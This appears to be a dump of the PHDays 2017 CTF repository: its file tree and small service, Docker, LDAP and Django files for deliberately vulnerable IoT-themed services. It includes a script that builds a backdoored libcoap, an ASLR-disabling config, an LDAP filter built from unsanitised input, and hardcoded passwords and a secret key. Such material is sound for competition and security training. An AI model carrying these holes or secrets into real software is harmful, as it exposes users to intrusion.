Hi, I'm TV!
23 | {{if .Flash}} 24 |{{.Flash.Value}}
25 | {{end}} 26 | {{if .User}} 27 |Upload new photo
28 | 33 |34 |
├── services ├── tv │ ├── origin │ │ └── .placeholder │ ├── start.sh │ ├── static │ │ └── tv.css │ ├── docker-compose.yml │ ├── im │ │ ├── type.xml │ │ ├── coder.xml │ │ ├── magic.xml │ │ ├── log.xml │ │ ├── colors.xml │ │ ├── quantization-table.xml │ │ └── policy.xml │ └── templates │ │ └── index.tmpl ├── fridge │ ├── web │ │ ├── fridge │ │ │ ├── __init__.py │ │ │ ├── urls.py │ │ │ └── wsgi.py │ │ ├── .gitignore │ │ ├── accounts │ │ │ ├── __init__.py │ │ │ ├── migrations │ │ │ │ └── __init__.py │ │ │ ├── models.py │ │ │ ├── admin.py │ │ │ ├── tests.py │ │ │ ├── apps.py │ │ │ ├── urls.py │ │ │ └── views.py │ │ ├── refrigerator │ │ │ ├── __init__.py │ │ │ ├── migrations │ │ │ │ └── __init__.py │ │ │ ├── templatetags │ │ │ │ ├── __init__.py │ │ │ │ └── dict.py │ │ │ ├── tests.py │ │ │ ├── apps.py │ │ │ ├── static │ │ │ │ └── images │ │ │ │ │ └── refrigerators │ │ │ │ │ ├── 1.jpg │ │ │ │ │ ├── 10.jpg │ │ │ │ │ ├── 2.jpg │ │ │ │ │ ├── 3.jpg │ │ │ │ │ ├── 4.jpg │ │ │ │ │ ├── 5.jpg │ │ │ │ │ ├── 6.jpg │ │ │ │ │ ├── 7.jpg │ │ │ │ │ ├── 8.jpg │ │ │ │ │ └── 9.jpg │ │ │ ├── admin.py │ │ │ ├── forms.py │ │ │ ├── urls.py │ │ │ ├── templates │ │ │ │ └── refrigerator │ │ │ │ │ ├── refrigerator.html │ │ │ │ │ └── recipe.html │ │ │ └── models.py │ │ ├── requirements.txt │ │ ├── templates │ │ │ ├── registration │ │ │ │ ├── logged_out.html │ │ │ │ └── login.html │ │ │ ├── _jumbotron.html │ │ │ ├── bootstrapform │ │ │ │ └── field.html │ │ │ └── layout.html │ │ ├── static │ │ │ └── css │ │ │ │ └── common.css │ │ ├── manage.py │ │ └── dumper │ │ │ ├── __init__.py │ │ │ └── middleware.py │ ├── api │ │ ├── requirements.txt │ │ └── loader.py │ ├── config │ │ ├── api.Dockerfile │ │ ├── environment.env │ │ ├── django.Dockerfile │ │ ├── nginx.conf │ │ ├── django.uwsgi.ini │ │ ├── db.check.py │ │ └── django.start.sh │ └── docker-compose.yml ├── doorlock │ ├── .atom-build.yml │ ├── scripts │ │ ├── .gitignore │ │ └── misc │ │ │ ├── put-get-loop.sh │ │ │ ├── call-all-methods.sh │ │ │ └── put-get.sh │ ├── .gitignore │ ├── docker-build.sh │ ├── docker-create-volume.sh │ ├── docker-run.sh │ ├── ldap │ │ ├── add-locks.ldif │ │ ├── ldap-del.sh │ │ ├── ldap.cfg │ │ ├── ldap-init.sh │ │ ├── ldap-gen-ldif.sh │ │ ├── ldap-search.sh │ │ ├── test-client │ │ │ ├── Makefile │ │ │ └── main.c │ │ ├── doorlock.conf │ │ ├── api-card-get.sh │ │ ├── ldap-add-locks.sh │ │ ├── ldap-reset-db.sh │ │ ├── INSTALL.TXT │ │ ├── LINKS.TXT │ │ ├── slapd.d │ │ │ ├── cn=config │ │ │ │ ├── olcDatabase={0}config.ldif │ │ │ │ ├── olcDatabase={-1}frontend.ldif │ │ │ │ └── cn=schema │ │ │ │ │ ├── cn={4}doorlock.ldif │ │ │ │ │ └── cn={3}inetorgperson.ldif │ │ │ └── cn=config.ldif │ │ ├── ldap-dpkg-reconfigure.sh │ │ ├── api-lock-register.sh │ │ ├── api-card-add.sh │ │ └── doorlock.schema │ ├── libs │ │ └── libcoap-1.a │ ├── backdoor │ │ ├── libcoap-with-backdoor.tgz │ │ └── build_with_backdoor.sh │ ├── docker-compose.yml │ ├── docker-wrapper.sh │ ├── README │ ├── Makefile │ ├── copy-vulnbox-files.sh │ ├── url-decode.c │ ├── include │ │ ├── coap │ │ │ ├── str.h │ │ │ ├── libcoap.h │ │ │ ├── coap.h │ │ │ ├── coap.h.in │ │ │ ├── hashkey.h │ │ │ ├── lwippools.h │ │ │ ├── encode.h │ │ │ ├── debug.h │ │ │ ├── bits.h │ │ │ ├── subscribe.h │ │ │ ├── prng.h │ │ │ ├── mem.h │ │ │ └── coap_time.h │ │ ├── coap_list.h │ │ └── coap_config.h │ └── Dockerfile ├── coffeepot │ ├── coffeepot_service │ │ ├── coffeepot │ │ │ ├── pots │ │ │ │ └── .gitkeep │ │ │ ├── favicon.ico │ │ │ ├── coffee_httpd │ │ │ ├── httpd_src │ │ │ │ ├── README │ │ │ │ ├── Makefile │ │ │ │ ├── coffee_httpd.c │ │ │ │ └── LICENSE.txt │ │ │ └── coffeepot.cgi │ │ └── Dockerfile │ └── docker-compose.yml └── thermometer │ ├── module │ ├── 01-disable-aslr.conf │ ├── Dockerfile.compile │ ├── Dockerfile │ ├── src │ │ └── Makefile │ └── wait-for-it.sh │ ├── mosquitto-auth-plugin │ ├── build_plugin.sh │ ├── Dockerfile │ └── mosquitto-auth-plug-config.mk │ ├── sensor │ ├── Dockerfile │ ├── Dockerfile.compile │ └── wait-for-it.sh │ ├── mqtt-db │ ├── start.sh │ ├── Dockerfile │ ├── init-db.sql │ └── wait-for-it.sh │ ├── mosquitto │ ├── Dockerfile │ └── wait-for-it.sh │ ├── prepare_for_deploy.sh │ ├── docker-compose-build-images.yml │ ├── README.md │ ├── docker-compose-compile-binaries.yml │ └── docker-compose.yml ├── sploits ├── fridge │ └── requirements.txt ├── thermometer │ ├── requirements.txt │ ├── README.txt │ └── thermometer.sploit.py ├── doorlock │ ├── REQUIREMENTS │ ├── sploit-injection.sh │ └── sploit-backdoor.sh ├── coffeepot │ └── coffeepot_spl.py └── tv │ └── tv.pl ├── checkers ├── thermometer │ ├── README.txt │ ├── requirements.txt │ ├── thermometer.cheker.py │ ├── thermometer_module.py │ └── mqtt_client.py ├── doorlock │ ├── INSTALL.TXT │ ├── nano-checksystem.sh │ ├── doorlock.stress.py │ └── doorlockclient.py └── fridge │ ├── requirements.txt │ ├── INSTALL.TXT │ └── checklib │ ├── utils.py │ ├── random.py │ └── http.py ├── vuln_image ├── hosts ├── roles │ ├── tv_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── tv.service │ │ └── tasks │ │ │ └── main.yml │ ├── fridge_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── fridge.service │ │ └── tasks │ │ │ └── main.yml │ ├── coffeepot_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── coffeepot.service │ │ └── tasks │ │ │ └── main.yml │ ├── doorlock_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── doorlock.service │ │ └── tasks │ │ │ └── main.yml │ ├── thermometer_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── thermometer.service │ │ └── tasks │ │ │ └── main.yml │ ├── docker-compose │ │ └── tasks │ │ │ └── main.yml │ └── docker │ │ └── tasks │ │ └── main.yml ├── README.md ├── install_python_2.yml ├── update_packages.yml └── setup.yml ├── writeups ├── coffeepot.png ├── tv.md ├── coffeepot.md └── thermometer.md ├── .gitmodules ├── .gitignore └── README.md /services/tv/origin/.placeholder: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/fridge/web/fridge/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/fridge/web/.gitignore: -------------------------------------------------------------------------------- 1 | db.sqlite3 -------------------------------------------------------------------------------- /services/fridge/web/accounts/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/doorlock/.atom-build.yml: -------------------------------------------------------------------------------- 1 | cmd: make 2 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sploits/fridge/requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | bs4 -------------------------------------------------------------------------------- /services/fridge/api/requirements.txt: -------------------------------------------------------------------------------- 1 | Django==1.11 2 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/doorlock/scripts/.gitignore: -------------------------------------------------------------------------------- 1 | doorlock.counters 2 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/templatetags/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sploits/thermometer/requirements.txt: -------------------------------------------------------------------------------- 1 | paho_mqtt==1.2.3 2 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/pots/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /checkers/thermometer/README.txt: -------------------------------------------------------------------------------- 1 | pip3 install -r requirements.txt 2 | -------------------------------------------------------------------------------- /sploits/thermometer/README.txt: -------------------------------------------------------------------------------- 1 | pip3 install -r requirements.txt 2 | -------------------------------------------------------------------------------- /vuln_image/hosts: -------------------------------------------------------------------------------- 1 | [vuln_image] 2 | 192.168.250.32 ansible_user=ctf 3 | -------------------------------------------------------------------------------- /checkers/thermometer/requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.14.1 2 | paho_mqtt==1.2.3 3 | -------------------------------------------------------------------------------- /services/thermometer/module/01-disable-aslr.conf: -------------------------------------------------------------------------------- 1 | kernel.randomize_va_space = 0 2 | -------------------------------------------------------------------------------- /sploits/doorlock/REQUIREMENTS: -------------------------------------------------------------------------------- 1 | apt-get install nodejs npm 2 | npm install coap-cli -g 3 | -------------------------------------------------------------------------------- /services/doorlock/.gitignore: -------------------------------------------------------------------------------- 1 | doorlock-server.d 2 | doorlock-server.o 3 | doorlock-server 4 | -------------------------------------------------------------------------------- /services/doorlock/docker-build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker build -t doorlock . 4 | 5 | -------------------------------------------------------------------------------- /checkers/doorlock/INSTALL.TXT: -------------------------------------------------------------------------------- 1 | sudo pip install aiocoap 2 | # https://github.com/chrysn/aiocoap 3 | -------------------------------------------------------------------------------- /services/doorlock/docker-create-volume.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker volume create --name ldap 3 | -------------------------------------------------------------------------------- /writeups/coffeepot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/writeups/coffeepot.png -------------------------------------------------------------------------------- /services/fridge/web/accounts/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | -------------------------------------------------------------------------------- /services/doorlock/docker-run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -d -v ldap:/var/lib/ldap -p 5683:5683/udp doorlock 3 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /services/doorlock/ldap/add-locks.ldif: -------------------------------------------------------------------------------- 1 | dn: cn=locks,dc=iot,dc=phdays,dc=com 2 | objectClass: top 3 | objectClass: device 4 | -------------------------------------------------------------------------------- /services/doorlock/libs/libcoap-1.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/doorlock/libs/libcoap-1.a -------------------------------------------------------------------------------- /services/tv/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export GOROOT=/opt/go1.8.1 4 | export PATH=$PATH:$GOROOT/bin 5 | 6 | go run tv.go 7 | -------------------------------------------------------------------------------- /vuln_image/roles/tv_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /checkers/fridge/requirements.txt: -------------------------------------------------------------------------------- 1 | # Requirements for the checker of the Fridge service (PHDays Online CTF 2017) 2 | 3 | requests 4 | bs4 -------------------------------------------------------------------------------- /vuln_image/roles/fridge_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /vuln_image/roles/coffeepot_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /vuln_image/roles/doorlock_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /vuln_image/roles/thermometer_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class AccountsConfig(AppConfig): 5 | name = 'accounts' 6 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class FridgeConfig(AppConfig): 5 | name = 'refrigerator' 6 | -------------------------------------------------------------------------------- /services/doorlock/backdoor/libcoap-with-backdoor.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/doorlock/backdoor/libcoap-with-backdoor.tgz -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-del.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | source ldap.cfg 3 | ldapdelete -r -h $LDAP_HOST -D $LDAP_USER -w $LDAP_PASS "cn=locks,dc=iot,dc=phdays,dc=com" 4 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/coffeepot/coffeepot_service/coffeepot/favicon.ico -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/coffee_httpd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/coffeepot/coffeepot_service/coffeepot/coffee_httpd -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap.cfg: -------------------------------------------------------------------------------- 1 | LDAP_HOST="127.0.0.1" 2 | LDAP_ROOT="dc=iot,dc=phdays,dc=com" 3 | LDAP_USER="cn=admin,dc=iot,dc=phdays,dc=com" 4 | LDAP_PASS="XfhC57uwby3plBWD" 5 | -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | source ldap.cfg 3 | for f in *.ldif 4 | do 5 | echo "Adding: $f" 6 | ldapadd -h $LDAP_HOST -D $LDAP_USER -w $LDAP_PASS -f $f 7 | done 8 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/1.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/10.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/2.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/3.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/4.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/5.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/6.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/7.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/8.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/9.jpg -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-gen-ldif.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | DIR=slapd.d 3 | set -e 4 | 5 | [ -d $DIR ] && rm -v -r $DIR 6 | mkdir -v $DIR 7 | slaptest -f doorlock.conf -F $DIR 8 | 9 | echo Success! 10 | -------------------------------------------------------------------------------- /services/fridge/web/requirements.txt: -------------------------------------------------------------------------------- 1 | appdirs==1.4.3 2 | Django==1.11 3 | packaging==16.8 4 | pyparsing==2.2.0 5 | pytz==2017.2 6 | six==1.10.0 7 | django-choices==1.5.0 8 | django-bootstrap-form==3.2.1 9 | psycopg2 -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/templatetags/dict.py: -------------------------------------------------------------------------------- 1 | from django.template import Library 2 | 3 | register = Library() 4 | 5 | 6 | @register.filter 7 | def get_item(obj, key): 8 | return obj.__getitem__(key) 9 | -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-search.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ -z "$1" ] 3 | then 4 | echo USAGE: $0 QUERY 5 | exit 1 6 | fi 7 | source ldap.cfg 8 | ldapsearch -h $LDAP_HOST -D $LDAP_USER -w $LDAP_PASS -b $LDAP_ROOT "$1" -LLL 9 | -------------------------------------------------------------------------------- /services/doorlock/ldap/test-client/Makefile: -------------------------------------------------------------------------------- 1 | main: main.c 2 | gcc -std=c99 main.c -o main -lldap /usr/lib/x86_64-linux-gnu/liblber.a 3 | 4 | clean: 5 | rm main 6 | 7 | # sprintf(context, "(&(lockId=04555251196964)(cn=zzzz))") 8 | -------------------------------------------------------------------------------- /services/doorlock/ldap/doorlock.conf: -------------------------------------------------------------------------------- 1 | include /etc/ldap/schema/core.schema 2 | include /etc/ldap/schema/cosine.schema 3 | include /etc/ldap/schema/nis.schema 4 | include /etc/ldap/schema/inetorgperson.schema 5 | include doorlock.schema 6 | -------------------------------------------------------------------------------- /services/tv/static/tv.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: "Courier New"; 3 | } 4 | 5 | div.main { 6 | width: 960; 7 | margin: 0 auto; 8 | } 9 | 10 | div.settings { 11 | width: 320; 12 | margin: 0 0 0 auto; 13 | } 14 | -------------------------------------------------------------------------------- /services/doorlock/scripts/misc/put-get-loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while [ 1 ] 4 | do 5 | echo -n `date` >> loop.log 6 | Q=`/usr/bin/time -f "\t%E real,\t%U user,\t%S sys" -a -o loop.log ./put-get.sh` 7 | echo $Q >> loop.log 8 | done 9 | -------------------------------------------------------------------------------- /services/fridge/web/templates/registration/logged_out.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /services/thermometer/mosquitto-auth-plugin/build_plugin.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker build -t mosquitto-auth-plugin . 4 | docker run --rm -it -v ${PWD}/../mosquitto:/working_dir mosquitto-auth-plugin cp /usr/mosquitto-auth-plug/auth-plug.so /working_dir 5 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/urls.py: -------------------------------------------------------------------------------- 1 | from django.conf.urls import url 2 | from . import views 3 | 4 | urlpatterns = [ 5 | url(r'^login/$', views.LoginView.as_view(), name='login'), 6 | url(r'^register/$', views.registration, name='registration'), 7 | ] 8 | -------------------------------------------------------------------------------- /vuln_image/roles/docker-compose/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: Download and install docker-compose 2 | get_url: 3 | url: https://github.com/docker/compose/releases/download/1.12.0/docker-compose-Linux-x86_64 4 | dest: /usr/bin/docker-compose 5 | mode: 0755 6 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/httpd_src/README: -------------------------------------------------------------------------------- 1 | This is just HTTP<--CGI-->PROGRAM gateway. 2 | 3 | Original version can be found at https://github.com/cesanta/mongoose. 4 | 5 | This is the hardened version with some 0days fixed. 6 | 7 | Don't spend time on this code. 8 | -------------------------------------------------------------------------------- /vuln_image/README.md: -------------------------------------------------------------------------------- 1 | ansible-playbook -i hosts --become --ask-become-pass install_python_2.yml 2 | 3 | ansible-playbook -i hosts --become --ask-become-pass update_packages.yml 4 | 5 | ansible-playbook -i hosts --become --ask-become-pass setup.yml 6 | 7 | user@V5PjNaqsaRmLaGv7 8 | -------------------------------------------------------------------------------- /vuln_image/install_python_2.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - hosts: vuln_image 4 | vars: 5 | ansible_python_interpreter: /usr/bin/python3 6 | 7 | tasks: 8 | - name: Install packages to allow apt to use a repository over HTTPS 9 | apt: name=python-minimal state=latest 10 | -------------------------------------------------------------------------------- /checkers/fridge/INSTALL.TXT: -------------------------------------------------------------------------------- 1 | 1. Install Python 3 and pip for it. I.e. on debian-based hosts run `apt install python3 python3-pip` 2 | 3 | 2. Install requiremenets for the checker: 4 | > pip3 install -Ur requirements.txt 5 | (Or just `pip` instead of `pip3` on Windows or in virtual environments with Python 3) -------------------------------------------------------------------------------- /services/doorlock/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | doorlock: 5 | image: doorlock 6 | container_name: doorlock 7 | restart: on-failure 8 | volumes: 9 | - ldap:/var/lib/ldap 10 | ports: 11 | - "5683:5683/udp" 12 | 13 | volumes: 14 | ldap: 15 | -------------------------------------------------------------------------------- /services/tv/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | tv: 5 | image: phdays_ctf_tv:v2 6 | container_name: tv 7 | working_dir: /opt/tv 8 | restart: on-failure 9 | ports: 10 | - "8080:8080" 11 | volumes: 12 | - .:/opt/tv 13 | command: bash start.sh 14 | -------------------------------------------------------------------------------- /services/doorlock/ldap/api-card-get.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This is Doorlock API stub 3 | set -e 4 | source ldap.cfg 5 | 6 | if [ -z "$2" ] 7 | then 8 | echo USAGE: `basename $0` LOCK_ID CARD_ID 9 | exit 1 10 | fi 11 | 12 | LOCK_ID=$1 13 | CARD_ID=$2 14 | 15 | ./ldap-search.sh "(&(lockId=$LOCK_ID)(cn=$CARD_ID))" 16 | -------------------------------------------------------------------------------- /services/thermometer/sensor/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache libuuid libc6-compat bash 4 | 5 | COPY sensor /usr/bin/ 6 | 7 | COPY wait-for-it.sh /usr/bin/wait-for-it.sh 8 | RUN chmod +x /usr/bin/wait-for-it.sh 9 | 10 | CMD ["wait-for-it.sh", "-t", "0", "mqtt-broker:1883", "--", "/usr/bin/sensor"] 11 | -------------------------------------------------------------------------------- /services/doorlock/backdoor/build_with_backdoor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | tar xvf libcoap-with-backdoor.tgz 6 | pushd libcoap 7 | 8 | make clean && make 9 | gcc -c src/commit.c 10 | ar cr .libs/libcoap-1.a commit.o 11 | 12 | cp -v .libs/libcoap-1.a ../../libs/ 13 | 14 | popd 15 | rm -rf libcoap 16 | 17 | echo Done. 18 | -------------------------------------------------------------------------------- /vuln_image/update_packages.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - hosts: vuln_image 4 | # vars: 5 | # ansible_python_interpreter: /usr/bin/python3 6 | 7 | tasks: 8 | - name: Install aptitude 9 | apt: 10 | name: aptitude 11 | state: present 12 | 13 | - name: Update packages 14 | apt: upgrade=yes update_cache=yes 15 | -------------------------------------------------------------------------------- /services/thermometer/mqtt-db/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -d /var/lib/mysql/mysql ]; then 4 | mysql_install_db 5 | chown -R mysql:mysql /var/lib/mysql 6 | fi 7 | 8 | trap "mysqladmin shutdown" TERM 9 | mysqld_safe --bind-address=0.0.0.0 & 10 | 11 | /wait-for-it.sh -t 0 127.0.0.1:3306 -- mysql < /init-db.sql 12 | 13 | wait 14 | -------------------------------------------------------------------------------- /vuln_image/setup.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - hosts: vuln_image 4 | 5 | roles: 6 | - thermometer_service 7 | - doorlock_service 8 | - tv_service 9 | - coffeepot_service 10 | - fridge_service 11 | 12 | 13 | # environment: 14 | # http_proxy: http://xz.avp.ru:8080 15 | # https_proxy: http://xz.avp.ru:8080 16 | -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-add-locks.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | service slapd stop 5 | 6 | cp -v doorlock.schema /etc/ldap/schema/doorlock.schema 7 | 8 | LDIF=slapd.d/cn=config/cn=schema/cn={4}doorlock.ldif 9 | cp -v $LDIF /etc/ldap/$LDIF 10 | chown openldap.openldap /etc/ldap/$LDIF 11 | 12 | service slapd start 13 | 14 | echo Success! 15 | -------------------------------------------------------------------------------- /services/fridge/web/fridge/urls.py: -------------------------------------------------------------------------------- 1 | from django.conf.urls import url, include 2 | from django.contrib import admin 3 | 4 | urlpatterns = [ 5 | url(r'^accounts/', include('accounts.urls')), 6 | url(r'^accounts/', include('django.contrib.auth.urls')), 7 | url(r'^admin/', admin.site.urls), 8 | url(r'^', include('refrigerator.urls')), 9 | ] 10 | -------------------------------------------------------------------------------- /services/fridge/config/api.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | MAINTAINER andgein@yandex.ru 4 | 5 | # Install application requirements 6 | ADD ./api/requirements.txt / 7 | RUN pip3 install -U pip 8 | RUN pip3 install -Ur /requirements.txt 9 | 10 | # Add code 11 | ADD ./api /srv 12 | RUN chmod +x /srv/server.py 13 | 14 | # Start server 15 | CMD ["./srv/server.py"] -------------------------------------------------------------------------------- /services/coffeepot/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | coffeepot: 5 | build: coffeepot_service 6 | volumes: 7 | - coffeepot-data:/home/coffeepot/pots 8 | hostname: coffeepot 9 | container_name: coffeepot-service 10 | restart: on-failure 11 | ports: 12 | - "3255:3255" 13 | 14 | volumes: 15 | coffeepot-data: 16 | -------------------------------------------------------------------------------- /services/fridge/config/environment.env: -------------------------------------------------------------------------------- 1 | ##### 2 | # Postgresql 3 | ##### 4 | 5 | POSTGRES_HOST=fridge-db 6 | POSTGRES_PORT=5432 7 | 8 | POSTGRES_NAME=postgres 9 | POSTGRES_USER=postgres 10 | POSTGRES_PASSWORD=zykrb864h596eec1 11 | 12 | ##### 13 | # Django 14 | ##### 15 | 16 | DJANGO_PROJECT_NAME=fridge 17 | DJANGO_SECRET_KEY=2ncn((ih(3zzn&50c0aou!6m1th6p8wxbd@-n(c(s(p79op -------------------------------------------------------------------------------- /services/thermometer/mqtt-db/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache mysql mysql-client bash && rm -rf /var/lib/mysql 4 | 5 | ADD start.sh / 6 | RUN chmod +x /start.sh 7 | ADD init-db.sql / 8 | 9 | COPY wait-for-it.sh /wait-for-it.sh 10 | RUN chmod +x /wait-for-it.sh 11 | 12 | VOLUME ["/var/lib/mysql"] 13 | EXPOSE 3306 14 | 15 | CMD [ "/start.sh" ] 16 | -------------------------------------------------------------------------------- /services/doorlock/scripts/misc/call-all-methods.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # REQUIRED: npm install coap-cli -g 4 | # 5 | coap -T get 'coap://127.0.0.1/' 6 | echo -n | coap -T post 'coap://127.0.0.1/register_lock?model=MMOODDEELL&floor=6&room=616' 7 | echo -n | coap -T post 'coap://127.0.0.1/add_card?lock=BBB&card=5432&tag=TTAAGG' 8 | coap -T get 